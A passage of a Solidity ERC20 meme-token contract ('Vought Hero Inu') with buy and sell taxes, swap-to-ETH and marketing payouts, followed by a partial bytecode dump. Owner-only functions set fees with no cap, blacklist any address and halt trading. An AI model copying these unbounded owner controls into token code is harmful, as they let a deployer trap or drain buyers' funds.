require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f70ccf7146105385780638f9a55c014610561576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b891906134eb565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906136e8565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190612ec8565b61092a565b60405161032091906134d0565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906136e8565b60405180910390f35b34801561036057600080fd5b50610369610a09565b604051610376919061375d565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613454565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612f1b565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190612f9b565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e2e565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613065565b610cd6565b005b34801561045a57600080fd5b5061047560048036038101906104709190612e2e565b610d6f565b60405161048291906136e8565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613092565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906136e8565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613454565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061055f600480360381019061055a9190613065565b610f9d565b005b34801561056d57600080fd5b50610576611036565b60405161058391906136e8565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280600f81526020017f566f75676874204865726f20496e750000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290613648565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf613adb565b5b9050602002016020810190610bc59190612e2e565b858585818110610bd857610bd7613adb565b5b90506020020135612062565b508080610bf090613a34565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90613648565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b610fa5611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc3610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614611019576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101090613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600f5481565b60606040518060400160405280600981526020017f564f55474854494e550000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b6000602082019050818103600